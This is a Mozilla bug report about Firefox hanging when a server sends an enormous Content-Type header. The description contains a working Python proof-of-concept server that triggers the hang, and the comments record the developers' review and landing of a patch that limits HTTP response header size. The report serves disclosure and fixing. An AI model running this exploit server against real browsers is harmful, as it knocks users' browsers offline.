1257782 - DOS explot - hang with huge content-type header

Status: RESOLVED FIXED

(Core :: Networking: HTTP, defect)

Description

[u566539]

User Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36

Steps to reproduce:

Firefox dos sploit for latest firefox version (for the bug bounty program)


Actual results:

Dos exploit (crash)

-- exploit code --

import time
import BaseHTTPServer


#
# J3rge dos exploit (firefox) Claes Spett 
# <[e-mail]>
#

 
HOST_NAME = '0.0.0.0' 
PORT_NUMBER = 80

class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_HEAD(s):
         s.send_header("Content-type", "text/html")
         s.end_headers()
  def do_GET(s):
         buffer = "l" * 99999999
         """Respond to a GET request."""
         s.send_response(200)
         s.send_header("Content-type", "text/html"+buffer)
         s.end_headers()
         #s.wfile.write(buffer)
 
if __name__ == '__main__':
     server_class = BaseHTTPServer.HTTPServer
     httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
     print "[*] running firefox (Dos splot server)"
     try:
         httpd.serve_forever()
     except KeyboardInterrupt:
         pass
     httpd.server_close()
     print time.asctime(), "Server Stops - %s:%s" % (HOST_NAME, PORT_NUMBER)

Comment 1

[:Gijs (he/him)]

Doesn't seem to crash my OS X 64-bit Nightly, but does hang it. Reporter, can you link to a crashreport from about:crashes for the crash you're seeing?

Note that for sec-bounty consideration, you'd need to email [e-mail] if you haven't done so already . See the bounty process at https://www.mozilla.org/en-US/security/client-bug-bounty/ . 

Patrick/Valentin, is it feasible to limit header field length to something like 1mb and abort the request if the field is longer than that?

Comment 2

[u566539]

ok will repport to [e-mail]
try on windows 10

Comment 3

[Patrick McManus [:mcmanus]]

there is already an old and fairly small header size limit (10KB maybe?).. so we should see why this wasn't rejected by that.

but in general, there are lots of ways to dos the browser with huge amounts of content, of course.

Comment 4

[Benjamin Smedberg]

We don't keep DOS bugs private, in general.

Comment 5

[Kershaw Chang [:kershaw]]

(In reply to Patrick McManus [:mcmanus] from comment #3)
> there is already an old and fairly small header size limit (10KB maybe?)..
> so we should see why this wasn't rejected by that.
> 

@Patrick,

Could you remind where the header size limit is?
I can't find something related to size limit in nsHttpRequestHead.cpp. Perhaps I was looking into the wrong place? Thanks.

Comment 6

[Patrick McManus [:mcmanus]]

i don't recall. perhaps I misremember - by spec we don't need a limit but iirc its there somewhere. perhaps its just a cookie thing?

Comment 7

[Kershaw Chang [:kershaw]]

(In reply to Patrick McManus [:mcmanus] from comment #6)
> i don't recall. perhaps I misremember - by spec we don't need a limit but
> iirc its there somewhere. perhaps its just a cookie thing?

Since the hang here is caused by the huge content-type string, is it worth to limit the header size although the spec doesn't say that?

By the way, chrome is not affected by this huge content-type string. I'll check how they resist this.

Comment 8

[Patrick McManus [:mcmanus]]

I would just be really careful. Any change you make is not really going to make a difference to the DoS landscape (due to so many vectors and the fact that there isn't really an incentive to DoS the client) - but you do run a chance of breaking a use case someone is using. That's not a win.

If chrome has a very easy to understand policy (i.e. no particular header bigger than X or no aggregate headers bigger than Y) I think that would be relatively safe to get in line with.. otoh your efforts might be better spent on something else.

Comment 9

[Kershaw Chang [:kershaw]]

(In reply to Patrick McManus [:mcmanus] from comment #8)
> I would just be really careful. Any change you make is not really going to
> make a difference to the DoS landscape (due to so many vectors and the fact
> that there isn't really an incentive to DoS the client) - but you do run a
> chance of breaking a use case someone is using. That's not a win.
> 
> If chrome has a very easy to understand policy (i.e. no particular header
> bigger than X or no aggregate headers bigger than Y) I think that would be
> relatively safe to get in line with.. otoh your efforts might be better
> spent on something else.

Chrome does have an obvious limit for response header size [1], which is 256k.
Do you think whether we should do the same in gecko?

[1] https://cs.chromium.org/chromium/src/net/http/http_stream_parser.h?q=kHeaderBufInitialSize&sq=package:chromium&l=162&dr=C

Comment 10

[Patrick McManus [:mcmanus]]

I think you can match chrome safely if you think that's helpful

Comment 11

[Kershaw Chang [:kershaw]]

Attachment: WIP

A simple patch that adds a limit to HTTP response header size.

Hi Patrick,

Could you please take a look? I also have some questions below.
1. What is the safest limit we should apply? Is it a good idea to align with chome (256K)?
2. Do we have to create another error code for this, such as NS_ERROR_RESPONSE_HEADER_TOO_BIG?

Thanks.

Comment 12

[Patrick McManus [:mcmanus]]

Comment on attachment 8794694 [details] [diff] [review]
WIP

Review of attachment 8794694 [details] [diff] [review]:
-----------------------------------------------------------------

::: netwerk/protocol/http/nsHttpTransaction.cpp
@@ +1825,5 @@
>  nsresult
>  nsHttpTransaction::ProcessData(char *buf, uint32_t count, uint32_t *countRead)
>  {
>      nsresult rv;
> +    const uint32_t kMaxHttpResponseHeaderSize = 256 * 1024;

that needs to be a pref.. access via nsHttphandler

start value at 1.5x chrome

@@ +1848,5 @@
>          } while (rv == NS_ERROR_NET_INTERRUPT);
>  
> +        mCurrentHttpResponseHeaderSize += count;
> +        if (mCurrentHttpResponseHeaderSize > kMaxHttpResponseHeaderSize) {
> +            return NS_ERROR_FAILURE;

NS_ERROR_FILE_TOO_BIG also NSPR LOG

Comment 13

[Kershaw Chang [:kershaw]]

Attachment: patch - v1

Modified based on the last comment.

Please have a look. Thanks.

Comment 14

[Patrick McManus [:mcmanus]]

Comment on attachment 8803303 [details] [diff] [review]
patch - v1

Review of attachment 8803303 [details] [diff] [review]:
-----------------------------------------------------------------

one thing to double check.. otherwise ok

::: netwerk/protocol/http/nsHttpTransaction.cpp
@@ +1845,5 @@
>                  return rv;
>              bytesConsumed += localBytesConsumed;
>          } while (rv == NS_ERROR_NET_INTERRUPT);
>  
> +        mCurrentHttpResponseHeaderSize += count;

I think that needs to be mCurrentHttpResponseHeaderSize += bytesConsumed, right?

Comment 15

[Kershaw Chang [:kershaw]]

(In reply to Patrick McManus [:mcmanus] from comment #14)
> Comment on attachment 8803303 [details] [diff] [review]
> patch - v1
> 
> Review of attachment 8803303 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> one thing to double check.. otherwise ok
> 

Thanks for the review.

> ::: netwerk/protocol/http/nsHttpTransaction.cpp
> @@ +1845,5 @@
> >                  return rv;
> >              bytesConsumed += localBytesConsumed;
> >          } while (rv == NS_ERROR_NET_INTERRUPT);
> >  
> > +        mCurrentHttpResponseHeaderSize += count;
> 
> I think that needs to be mCurrentHttpResponseHeaderSize += bytesConsumed,
> right?

Yes, you are right. It should be bytesConsumed, which represents the real bytes in header.

New patch will be uploaded later.

Comment 16

[Kershaw Chang [:kershaw]]

Attachment: patch - v2

Comment 17

[Kershaw Chang [:kershaw]]

https://treeherder.mozilla.org/#/jobs?repo=try&revision=b2031395a7ca

Comment 18

[Kershaw Chang [:kershaw]]

Attachment: Limit the HTTP response header size, r=mcmanus

Carry reviewer's name.

Comment 19

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/mozilla-inbound/rev/f73f86848143
Limit the HTTP response header size, r=mcmanus

Comment 20

[Phil Ringnalda (:philor)]

https://hg.mozilla.org/mozilla-central/rev/f73f86848143